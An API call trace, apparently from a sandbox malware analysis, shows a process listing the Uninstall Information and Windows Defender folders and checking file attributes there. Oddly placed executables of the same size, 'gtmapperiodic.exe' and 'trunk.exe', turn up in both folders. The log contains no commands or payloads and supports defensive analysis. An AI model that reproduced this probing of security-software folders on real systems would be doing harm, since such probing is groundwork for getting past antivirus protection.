	[0053.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.578] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.578] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea88230, ftCreationTime.dwHighDateTime=0x1d4ec94, ftLastAccessTime.dwLowDateTime=0x72e6eb30, ftLastAccessTime.dwHighDateTime=0x1d51864, ftLastWriteTime.dwLowDateTime=0x72e6eb30, ftLastWriteTime.dwHighDateTime=0x1d51864, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="gtmapperiodic.exe", cAlternateFileName="GTMAPP~1.EXE")) returned 1
	[0053.578] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.578] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\gtmapperiodic.exe" (normalized: "c:\\program files\\uninstall information\\gtmapperiodic.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea88230, ftCreationTime.dwHighDateTime=0x1d4ec94, ftLastAccessTime.dwLowDateTime=0x72e6eb30, ftLastAccessTime.dwHighDateTime=0x1d51864, ftLastWriteTime.dwLowDateTime=0x72e6eb30, ftLastWriteTime.dwHighDateTime=0x1d51864, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0053.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0053.579] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRTP.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd784c560, ftCreationTime.dwHighDateTime=0x1d4ba5b, ftLastAccessTime.dwLowDateTime=0xfca401d0, ftLastAccessTime.dwHighDateTime=0x1d519a6, ftLastWriteTime.dwLowDateTime=0xfca401d0, ftLastWriteTime.dwHighDateTime=0x1d519a6, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="trunk.exe", cAlternateFileName="")) returned 1
	[0053.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.579] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MSASCui.exe" (normalized: "c:\\program files\\windows defender\\msascui.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2afc28f9, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2afc28f9, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe8c21380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xeaa00)) returned 1
	[0053.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpAsDesc.dll" (normalized: "c:\\program files\\windows defender\\mpasdesc.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0053.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files\\windows defender\\mpclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpCmdRun.exe" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpCommu.dll" (normalized: "c:\\program files\\windows defender\\mpcommu.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpEvMsg.dll" (normalized: "c:\\program files\\windows defender\\mpevmsg.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpRTP.dll" (normalized: "c:\\program files\\windows defender\\mprtp.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4eb396, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1d4eb396, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x30e00)) returned 1
	[0053.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MpSvc.dll" (normalized: "c:\\program files\\windows defender\\mpsvc.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34b85c54, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x34b85c54, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33f88820, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf7000)) returned 1
	[0053.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MsMpCom.dll" (normalized: "c:\\program files\\windows defender\\msmpcom.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1b943a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1b943a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1b943a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xee00)) returned 1
	[0053.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files\\windows defender\\msmplics.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144043c0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x144043c0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x94b72470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1
	[0053.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\MsMpRes.dll" (normalized: "c:\\program files\\windows defender\\msmpres.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1594a6b3, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1594a6b3, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x36199360, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x77200)) returned 1
	[0053.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.584] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0053.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0053.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1
	[0053.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.585] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00)) returned 1
	[0053.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00)) returned 1
